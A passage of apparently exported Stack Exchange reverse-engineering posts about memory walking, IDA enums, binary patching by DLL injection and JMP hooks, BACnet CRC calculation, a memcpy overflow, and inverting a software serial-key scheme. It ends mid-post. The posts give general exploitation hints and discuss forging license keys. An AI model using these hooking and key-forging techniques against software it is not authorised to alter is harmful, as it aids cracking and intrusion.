  <row Id="8299" PostTypeId="2" ParentId="8297" CreationDate="2015-02-20T08:26:59.030" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366907%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;VirtualQueryEx()&lt;/a&gt; fills a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366775%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;MEMORY_BASIC_INFORMATION&lt;/a&gt; record with information about a contiguous range of pages containing the queried address. This can be used to walk the address space of a process, by starting with 0 and then using mbi.BaseAddress + mbi.RegionSize as the next address to query and so on. &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms683195%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;GetMappedFileName()&lt;/a&gt; can give you the name of mapped binaries (mbi.Type == MEM_IMAGE) and mapped files (MEM_MAPPED).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address overflow is an issue when a 32-bit process runs queries on a 64-bit process; it seems that VirtualQueryEx() fails to fail in that situation and instead saturates the field in question (by setting it to 0xFFFFFFFF). However, that is not documented and hence not reliable. Alternative tests are &lt;code&gt;mbi.RegionSize &amp;gt; DWORD_PTR(-1) - mbi.BaseAddress&lt;/code&gt;, or &lt;code&gt;next_va &amp;lt;= curr_va&lt;/code&gt; when iterating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Results for 32-bit process querying 64-bit notepad.exe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         00000000        10000 -&#xA;00010000 00010000        10000 c m rw--  rw-- &#xA;...&#xA;FF5F0000 FF5F0000         1000 c i rwxc  r---  notepad.exe&#xA;FF5F0000 FF5F1000         B000 c i rwxc  r-x- &#xA;FF5F0000 FF5FC000         4000 c i rwxc  r--- &#xA;FF5F0000 FF600000         2000 c i rwxc  rw-- &#xA;FF5F0000 FF602000         1000 c i rwxc  rw-c &#xA;FF5F0000 FF603000        22000 c i rwxc  r--- &#xA;         FF625000     FFFFFFFF -&#xA;overflow -&amp;gt; aborting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dito for a 64-bit process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              0000000000000        10000 -&#xA;0000000010000 0000000010000        10000 c m rw--  rw-- &#xA;...&#xA;00000FF5F0000 00000FF5F0000         1000 c i rwxc  r---  notepad.exe&#xA;00000FF5F0000 00000FF5F1000         B000 c i rwxc  r-x- &#xA;00000FF5F0000 00000FF5FC000         4000 c i rwxc  r--- &#xA;00000FF5F0000 00000FF600000         2000 c i rwxc  rw-- &#xA;00000FF5F0000 00000FF602000         1000 c i rwxc  rw-c &#xA;00000FF5F0000 00000FF603000        22000 c i rwxc  r--- &#xA;              00000FF625000  7FDFB2CB000 -&#xA;007FEFA8F0000 007FEFA8F0000         1000 c i rwxc  r---  winspool.drv&#xA;...&#xA;007FFFFFE0000 007FFFFFE0000        10000 r   r---  !--- &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2015-02-20T08:26:59.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8300" PostTypeId="1" AcceptedAnswerId="8301" CreationDate="2015-02-20T13:18:49.407" Score="5" ViewCount="1951" Body="&lt;p&gt;Is there a way to modify the IDA decompiled source to reflect &quot;OR&quot;ed values of two or more enums?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have the following enums,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP_QUERY_CONNECTION has the value 23 and &#xA;HTTP_QUERY_FLAG_REQUEST_HEADERS has the value 0x80000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to change the code which has the value 0x80000023 into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP_QUERY_CONNECTION | HTTP_QUERY_FLAG_REQUEST_HEADERS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that modification possible in IDA?&lt;/p&gt;&#xA;" OwnerUserId="11802" LastActivityDate="2015-02-20T14:44:03.860" Title="Coalesce Enums in IDA?" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8301" PostTypeId="2" ParentId="8300" CreationDate="2015-02-20T14:44:03.860" Score="7" Body="&lt;p&gt;Yes, it is possible. The enum must be set to the 'bitfield' kind, and the bit masks must be set appropriately. Position the cursor on the enum name (in the Enums view) and hit Ctrl-N; in the lower left corner of the dialogue that appears there's a check box named &quot;Bitfield&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all values are independent then the bitmask for each value is the value itself; if there are sub fields that contain enumerated values then those must have the same mask. I don't know the exact details for HttpQueryInfo() so I'm using a mask of 0xFFFF for the enumerated part and assume that the upper 16 bits are independent flags. What you need is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP_QUERY_FLAG_REQUEST_HEADERS value 0x80000000 mask 0x80000000&#xA;&#xA;HTTP_QUERY_CONTENT_TYPE         value          1 mask 0x0000FFFF&#xA;...&#xA;HTTP_QUERY_CONNECTION           value         23 mask 0x0000FFFF&#xA;HTTP_QUERY_ACCEPT               value         24 mask 0x0000FFFF&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it can be extremely difficult to modify an existing enum. You can't switch the enum to 'bitfield' if there are values that need masking ('blah is hindering' or some such rot), but if the enum isn't set to 'bitfield' then IDA doesn't let you set the masks for the enum members. Best to build a new enum from scratch.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2015-02-20T14:44:03.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8302" PostTypeId="1" CreationDate="2015-02-20T16:21:31.087" Score="0" ViewCount="128" Body="&lt;p&gt;What are the general techniques/methods used for making static changes to a binary file where the length of the edited bytes is larger or smaller than the original? Obviously such a change would mess up the offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. Say I have the byte sequence &lt;code&gt;4F 3E 23&lt;/code&gt; and wish to change it to &lt;code&gt;23 56 7E 74 21&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11805" LastActivityDate="2015-05-22T06:43:52.840" Title="Differing-Size Binary Edits" Tags="|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8303" PostTypeId="1" AcceptedAnswerId="8305" CreationDate="2015-02-20T21:45:49.160" Score="10" ViewCount="3114" Body="&lt;p&gt;I am trying to reverse engineer a two wire RS-485 standard serial bus interface to talk to a &lt;a href=&quot;https://www.watlow.com/products/controllers/ez-zone-pm-controller.cfm?famid=19&quot; rel=&quot;noreferrer&quot;&gt;Watlow EZ-Zone PM&lt;/a&gt; of which I have not been able to find any documentation of the protocol. I have managed to figure out most of the hex commands except for the &quot;check bytes&quot; by sniffing the serial communications from the &lt;a href=&quot;http://sine.ni.com/apps/utf8/niid_web_display.model_page?p_model_id=16725&quot; rel=&quot;noreferrer&quot;&gt;Labview driver&lt;/a&gt; (which doesn't work for my particular application).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am having trouble figuring out the 3 check bytes. Any help is appreciated.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example hex command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                       Instance&#xA;        Zone                 Parameter  |&#xA;         ||                      |---| ||&#xA;55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99&#xA;                     ^^                   ^^ ^^&#xA;                  check byte           check bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first check byte only changes with the bytes before it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99&#xA;55 FF 05 11 00 00 06 61 01 03 01 04 01 01 E3 99&#xA;55 FF 05 12 00 00 06 F9 01 03 01 04 01 01 E3 99&#xA;55 FF 05 13 00 00 06 70 01 03 01 04 01 01 E3 99&#xA;55 FF 05 14 00 00 06 CA 01 03 01 04 01 01 E3 99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second two bytes only change with the bytes after the first check byte:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55 FF 05 10 00 00 06 E8 01 03 01 04 01 01 E3 99&#xA;55 FF 05 10 00 00 06 E8 01 03 01 04 02 01 8B B3&#xA;55 FF 05 10 00 00 06 E8 01 03 01 04 03 01 53 AA&#xA;55 FF 05 10 00 00 06 E8 01 03 01 04 04 01 5B E7&#xA;55 FF 05 10 00 00 06 E8 01 03 01 04 05 01 83 FE&#xA;55 FF 05 10 00 00 06 E8 01 03 01 05 05 01 5F A4&#xA;55 FF 05 10 00 00 06 E8 01 03 01 06 05 01 3B 4B&#xA;55 FF 05 10 00 00 06 E8 01 03 01 07 05 01 E7 11&#xA;55 FF 05 10 00 00 06 E8 01 03 01 08 05 01 20 5B&#xA;55 FF 05 10 00 00 06 E8 01 03 01 09 05 01 FC 01&#xA;55 FF 05 10 00 00 06 E8 01 03 01 0A 05 01 98 EE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did find reference to a CRC checksum in the Watlow Modbus documentation. However I have no idea what the polynomial is. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11808" LastEditorUserId="11808" LastEditDate="2015-02-20T21:59:10.147" LastActivityDate="2018-09-18T13:07:39.177" Title="RS-485 Checksum Reverse Engineering (Watlow EZ-Zone PM)" Tags="|hardware|serial-communication|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8304" PostTypeId="2" ParentId="8302" CreationDate="2015-02-20T23:09:16.937" Score="1" Body="&lt;p&gt;I suppose you have two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;search for some free, unused space in the executable, put your code&#xA;there, and put a JMP wherever you originally wanted to insert more&#xA;instructions. (this would probably involve changing the permissions so the code can be executed without access violations)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;instead of static patching, inject a DLL and put a JMP to your code contained in the DLL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In both cases, you'd need to preserve the program state&#xA;   (probably a PUSHAD then POPAD when you're done), then JMP back&#xA;   and resume execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example (second approach, assuming MSVC):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __declspec(naked) MyCode()&#xA;{&#xA;    __asm PUSHAD&#xA;    //your code here&#xA;    __asm POPAD&#xA;    __asm PUSH returnAddress&#xA;    __asm RETN&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to patch it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD AddrToPatch = 0xC0DE;&#xA;&#xA;DWORD RelAddr = (DWORD)(MyCode - (DWORD)AddrToPatch) - 5;&#xA;*AddrToPatch = 0xE9;&#xA;*((DWORD *)(AddrToPatch + 0x1)) = RelAddr;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Honestly, I think you're better off doing it like that - the first method is a lot more hassle, and injecting a DLL is fairly easy, you can automate that by playing around with the IAT or TLS callbacks.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastEditorUserId="8346" LastEditDate="2015-02-20T23:14:37.667" LastActivityDate="2015-02-20T23:14:37.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8305" PostTypeId="2" ParentId="8303" CreationDate="2015-02-20T23:34:00.757" Score="16" Body="&lt;p&gt;I downloaded the &lt;a href=&quot;http://www.watlow.com/downloads/en/software/ezzone.cfm&quot;&gt;EZ-ZONE Configurator&lt;/a&gt; and reverse engineered it to see how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The serial data you're seeing is actually the &lt;a href=&quot;http://en.wikipedia.org/wiki/BACnet&quot;&gt;BACnet&lt;/a&gt; MS/TP (master-slave/token-passing) protocol. You can find the &lt;a href=&quot;https://www.wireshark.org/&quot;&gt;Wireshark&lt;/a&gt; protocl decoder for it &lt;a href=&quot;http://anonsvn.wireshark.org/wireshark/trunk/epan/dissectors/packet-mstp.c&quot;&gt;here&lt;/a&gt;. However, to save you the time, I'll help you get to the meat of calculating those check bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In BACnet parlance, &lt;code&gt;55 FF&lt;/code&gt; is called the &quot;preamble&quot;, the first check byte is called the &quot;Header CRC&quot;, the last two check bytes are called the &quot;Data CRC&quot;, etc. For simplification though, let's call &lt;code&gt;b[]&lt;/code&gt; your byte array: &lt;code&gt;b[0]&lt;/code&gt; = &lt;code&gt;55&lt;/code&gt;, &lt;code&gt;b[1]&lt;/code&gt; = &lt;code&gt;FF&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first check byte (a.k.a. &quot;Header CRC&quot;) (&lt;code&gt;b[7]&lt;/code&gt;) is calculated using the BACnet 8-bit CRC as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We first define our CRC table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BYTE crc[256] =&#xA;{&#xA;    0x00, 0xfe, 0xff, 0x01, 0xfd, 0x03, 0x02, 0xfc,&#xA;    0xf9, 0x07, 0x06, 0xf8, 0x04, 0xfa, 0xfb, 0x05,&#xA;    0xf1, 0x0f, 0x0e, 0xf0, 0x0c, 0xf2, 0xf3, 0x0d,&#xA;    0x08, 0xf6, 0xf7, 0x09, 0xf5, 0x0b, 0x0a, 0xf4,&#xA;    0xe1, 0x1f, 0x1e, 0xe0, 0x1c, 0xe2, 0xe3, 0x1d,&#xA;    0x18, 0xe6, 0xe7, 0x19, 0xe5, 0x1b, 0x1a, 0xe4,&#xA;    0x10, 0xee, 0xef, 0x11, 0xed, 0x13, 0x12, 0xec,&#xA;    0xe9, 0x17, 0x16, 0xe8, 0x14, 0xea, 0xeb, 0x15,&#xA;    0xc1, 0x3f, 0x3e, 0xc0, 0x3c, 0xc2, 0xc3, 0x3d,&#xA;    0x38, 0xc6, 0xc7, 0x39, 0xc5, 0x3b, 0x3a, 0xc4,&#xA;    0x30, 0xce, 0xcf, 0x31, 0xcd, 0x33, 0x32, 0xcc,&#xA;    0xc9, 0x37, 0x36, 0xc8, 0x34, 0xca, 0xcb, 0x35,&#xA;    0x20, 0xde, 0xdf, 0x21, 0xdd, 0x23, 0x22, 0xdc,&#xA;    0xd9, 0x27, 0x26, 0xd8, 0x24, 0xda, 0xdb, 0x25,&#xA;    0xd1, 0x2f, 0x2e, 0xd0, 0x2c, 0xd2, 0xd3, 0x2d,&#xA;    0x28, 0xd6, 0xd7, 0x29, 0xd5, 0x2b, 0x2a, 0xd4,&#xA;    0x81, 0x7f, 0x7e, 0x80, 0x7c, 0x82, 0x83, 0x7d,&#xA;    0x78, 0x86, 0x87, 0x79, 0x85, 0x7b, 0x7a, 0x84,&#xA;    0x70, 0x8e, 0x8f, 0x71, 0x8d, 0x73, 0x72, 0x8c,&#xA;    0x89, 0x77, 0x76, 0x88, 0x74, 0x8a, 0x8b, 0x75,&#xA;    0x60, 0x9e, 0x9f, 0x61, 0x9d, 0x63, 0x62, 0x9c,&#xA;    0x99, 0x67, 0x66, 0x98, 0x64, 0x9a, 0x9b, 0x65,&#xA;    0x91, 0x6f, 0x6e, 0x90, 0x6c, 0x92, 0x93, 0x6d,&#xA;    0x68, 0x96, 0x97, 0x69, 0x95, 0x6b, 0x6a, 0x94,&#xA;    0x40, 0xbe, 0xbf, 0x41, 0xbd, 0x43, 0x42, 0xbc,&#xA;    0xb9, 0x47, 0x46, 0xb8, 0x44, 0xba, 0xbb, 0x45,&#xA;    0xb1, 0x4f, 0x4e, 0xb0, 0x4c, 0xb2, 0xb3, 0x4d,&#xA;    0x48, 0xb6, 0xb7, 0x49, 0xb5, 0x4b, 0x4a, 0xb4,&#xA;    0xa1, 0x5f, 0x5e, 0xa0, 0x5c, 0xa2, 0xa3, 0x5d,&#xA;    0x58, 0xa6, 0xa7, 0x59, 0xa5, 0x5b, 0x5a, 0xa4,&#xA;    0x50, 0xae, 0xaf, 0x51, 0xad, 0x53, 0x52, 0xac,&#xA;    0xa9, 0x57, 0x56, 0xa8, 0x54, 0xaa, 0xab, 0x55&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And next we can calculate &lt;code&gt;b[7]&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b[7] = ~crc[b[6] ^ crc[b[5] ^ crc[b[4] ^ crc[b[3] ^ crc[~b[2]]]]]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To calculate the value of the last two check bytes (&quot;Data CRC&quot;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perform a CRC-16 of the 6 bytes between the first check byte and the last two check bytes (in your first example, this would be the bytes &lt;code&gt;01 03 01 04 01 01&lt;/code&gt;), with &lt;code&gt;0xFFFF&lt;/code&gt; (&lt;code&gt;-1&lt;/code&gt;) as the initial value for the CRC-16, and &lt;code&gt;0x8408&lt;/code&gt; as the polynomial. Then bit-flip (a.k.a. &quot;not&quot;, a.k.a. &quot;invert&quot;) the result and read it in little-endian.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-20T23:34:00.757" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8306" PostTypeId="1" AcceptedAnswerId="14563" CreationDate="2015-02-21T01:53:05.350" Score="2" ViewCount="2486" Body="&lt;p&gt;The test is on 32-bit Linux, x86. With &lt;code&gt;gcc&lt;/code&gt; 4.6.3 and GNU &lt;code&gt;ld&lt;/code&gt; 2.22.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am trying to get the information of &quot;how many symbols are resolved by linker&quot; during link time? And how can I list the information of all the resolved symbols? say, the symbol name, memory address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking I should manipulate the linker to do so, but I have no idea how to do it. I have some experiences to fed linker with a link-script, but I didn't find anything related to resolved symbol information in the link-scripts..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help? I really appreciate that! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2015-02-21T02:19:51.010" LastActivityDate="2017-06-26T17:52:34.060" Title="How to get the information of &quot;how many and which symbols are resolved by linker&quot;?" Tags="|c|elf|gcc|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8307" PostTypeId="1" CreationDate="2015-02-21T20:55:30.017" Score="1" ViewCount="241" Body="&lt;p&gt;When clicking a GUI, there's underlying code somewhere getting executed. Is it possible to capture this &quot;puppet-stringing&quot; so that it can be manually called on demand (without clicking the GUI)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Internet Explorer's dev-console, there's a button for &quot;Clear domain cookies&quot;, however it's only accessible with the dev console pulled up and via button-click. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to &quot;catch&quot; this underlying function getting called, and then call it on my own via programmatic puppet-stringing?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2015-02-21T21:50:26.223" Title="Possible to capture/replay GUI functions by “puppet-stringing”?" Tags="|ida|windows|" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-27T16:22:32.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="8308" PostTypeId="2" ParentId="8307" CreationDate="2015-02-21T21:50:26.223" Score="1" Body="&lt;p&gt;Theoretically, yes, you could do something like that. In normal windows Dialogs, you could get the onClick function of the button, and even if your program uses some other way of creating GUI elements (Java/Swing, QT, GTK, wxWidgets, Delphi, ....), you could find out what happens when the button is pressed by attaching a debugger, single-stepping, running in emulation mode, whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these methods could be well automated (finding the onClick function of the button, which means more or less checking what the window procedure does when sent a &lt;code&gt;WM_COMMAND&lt;/code&gt; with a &lt;code&gt;BN_CLICKED&lt;/code&gt; param, or a &lt;code&gt;WM_LBUTTONDOWN&lt;/code&gt; message, or getting the list of ActionHandlers from a Java JButton), some need more manual investigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could inject a DLL into the program that calls the function you found whenever &quot;something happens&quot;, where &quot;something happens&quot; is how you communicate with the DLL to tell it to &quot;call the cookie-cleaner&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's a very big chance that you'll just crash the program, because a part of what the button does is probably tied closely to the state of the program, especially the GUI state. Maybe the handler function disables the button after you click it, and re-enables it after it's finished. Or the handler function shows some message in a box next to the button. If you just call the handler, without the GUI elements being there, your program will most likely crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to do this, you'd have to disassemble the better part of the program, understand much of what it is doing, and separate the backend procedures (clear the cache) from the frontend (that handles the GUI); depending on how well the code is separated into backend and frontend, this may not even be possible. After identifying the backend part that you can call safely, you'd have to figure out how to find this part from your DLL (ASLR might put it at different addresses; localized versions of the software may have different addresses; and after your next automated windows update, the whole software layout might change), then create a DLL that will work for just this version of the software until the next update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably have much better results with a software like AutoHotKey, which will allow you to create a macro that finds a button within the window hierarchy, and allows you to send a click event to the button. This will require you to have the GUI in a state that shows the button and allows clicking it, but making AutoHotKey (or a similar program) find the button will be much easier and less error-prone than finding out what to call and call that somehow.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-02-21T21:50:26.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8309" PostTypeId="1" CreationDate="2015-02-22T00:26:13.870" Score="1" ViewCount="231" Body="&lt;p&gt;I was debugging a program, and discovered a line of code like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memcpy(stack_variable, attacker_supplied, read_length_from_packet(pPacket));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;read_length_from_packet&lt;/code&gt; returns -1 if the length is bigger than 0x1FF, but seems they forgot to actually check for -1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since &lt;code&gt;memcpy&lt;/code&gt; takes a &lt;code&gt;size_t&lt;/code&gt; (unsigned), the -1 gets converted to 0xFFFFFFFF, and I can &lt;em&gt;massively&lt;/em&gt; override the stack, so much it writes on memory it shouldn't, raises an exception, and crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make an exploit out of this, or it'll just stay in a crash?&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-02-22T16:05:05.857" Title="Is there a way to exploit 4-byte integer overflows to -1? [memcpy(dest, source, -1)]" Tags="|exploit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8310" PostTypeId="2" ParentId="8309" CreationDate="2015-02-22T03:50:10.857" Score="1" Body="&lt;p&gt;Well, it's a simple buffer overflow, so probably yes, depending on what mitigations are available on the software/system you are targeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is to overwrite something useful like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;return address stored on the stack.&lt;/li&gt;&#xA;&lt;li&gt;SE handler address stored on the stack.&lt;/li&gt;&#xA;&lt;li&gt;anything that lets you control the execution flow of the program.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11815" LastEditorUserId="116" LastEditDate="2015-02-22T16:05:05.857" LastActivityDate="2015-02-22T16:05:05.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8311" PostTypeId="1" CreationDate="2015-02-22T07:44:12.570" Score="3" ViewCount="755" Body="&lt;p&gt;I've been working to disassemble a decryption algorithm for a particular software. The way it works is that the serial key contains all the appropriate information, gets crunched in the algorithm which outputs plaintext data (It's actually binary data but this is not that important here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want to create an algorithm which will re-encrypt arbitrary data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some work I managed to greatly reduce the code base for the decryption process. Here is how it works :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BigUnsigned hash_func(BigUnsigned serial, BigUnsigned running_value, BigUnsigned encrypt_key)&#xA;{&#xA;    return (serial * running_value) - (((serial * running_value) / encrypt_key) * encrypt_key);&#xA;}&#xA;&#xA;void do_the_thing()&#xA;{&#xA;    BigUnsigned key1 = hash_func(buSerial, buSerial, buEncryptKey);&#xA;    BigUnsigned key2 = hash_func(buSerial, key1, buEncryptKey);&#xA;&#xA;    BigUnsigned result = 1;&#xA;    int key_select = 0;&#xA;    unsigned int weird_number = 0xc3530000;&#xA;    for(int i = 0; i &amp;lt; 8; ++i, weird_number *= 4){&#xA;        result = hash_func(result, result, buEncryptKey);&#xA;        result = hash_func(result, result, buEncryptKey);&#xA;        if(weird_number &amp;gt;&amp;gt; 30){&#xA;            key_select++;&#xA;            if(key_select &amp;lt; 3){&#xA;                result = hash_func(result, key2, buEncryptKey);&#xA;            }else{&#xA;                result = hash_func(result, buSerial, buEncryptKey);&#xA;                if(key_select == 4){&#xA;                    key_select = 0;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both &lt;code&gt;buSerial&lt;/code&gt; and &lt;code&gt;buEncryptKey&lt;/code&gt; are 16 unsigned int (512-bits). I don't get how I can create an algorithm that encrypt new data from this. The problem I have is that key2 is generated from the final result which I don't know beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;https://mattmccutchen.net/bigint/&quot; rel=&quot;nofollow&quot;&gt;this BigInt library&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="53" LastEditDate="2015-02-22T12:22:32.783" LastActivityDate="2015-02-23T18:04:57.230" Title="Reverse decryption algorithm" Tags="|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8312" PostTypeId="2" ParentId="8311" CreationDate="2015-02-22T12:14:20.477" Score="2" Body="&lt;p&gt;Do you have any more information, especially, one or two examples for buEncryptKey? Is that a prime number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason i'm asking is: your &lt;code&gt;hash_func&lt;/code&gt; is a modulo function, it calculates &lt;code&gt;(serial*running_value) % encrypt_key&lt;/code&gt;. This makes &lt;code&gt;key1 = serial^2%encrypt_key&lt;/code&gt; and &lt;code&gt;key2 = serial*(serial^2%encrypt_key)%encrypt_key = serial^3 % encrypt_key&lt;/code&gt;. And polynomials modulo prime numbers are often used in CRC calculations, or &lt;a href=&quot;http://en.wikipedia.org/wiki/Fletcher%27s_checksum&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fletcher's checksum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the loop calculates &lt;code&gt;(result^4 % encrypt_key)&lt;/code&gt;, and then &lt;code&gt;result*(serial^3) % encrypt_key&lt;/code&gt;, or &lt;code&gt;(result*serial % encrypt_key)&lt;/code&gt;, depending on some bits in &lt;code&gt;weird_number&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your key_select seems a bit fishy - could you please make sure that key_select is calculated this way, and isn't just &lt;code&gt;(weird_number &amp;gt;&amp;gt; 30) &amp;amp; 0x03&lt;/code&gt; ? The way &lt;code&gt;weird_number&lt;/code&gt; is treated in the loop would make it logical to check 2 bits of it in each round (which coincides with the multiplication with 4), and i'd expect 2 of the bits in weird_number to be used to select one of your if-else cases; in your code right now, it doesn't make sense to use 2 bits of weird_number at once. (Also, it doesn't make sense NOT to mask the higher bits away, but as weird_number is just a 2-byte integer anyway, they'll get thrown away with each shift).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get the maths of your function right, you might be able to find it on the internet, or maybe the people of math.stackexchange.com or crypto.stackexchange.com might have a pointer where this algorithm is used, and how to create a matching reverse function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;rant&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On a totally unrelated problem at work today, i checked the contents&#xA;  of two different SSL client certificates. One of them said: modulus&#xA;  (large hex number), exponent: 0xbf0453. The other said: modulus&#xA;  (different large hex number), exponent: 0xcd01b7. Then i thought of&#xA;  your &lt;code&gt;weird_number&lt;/code&gt; and had an idea. Then i googled for rsa algorithm.&#xA;  And now, i think i know what's happening.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;/rant&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/RSA_%28cryptosystem%29#Signing_messages&quot; 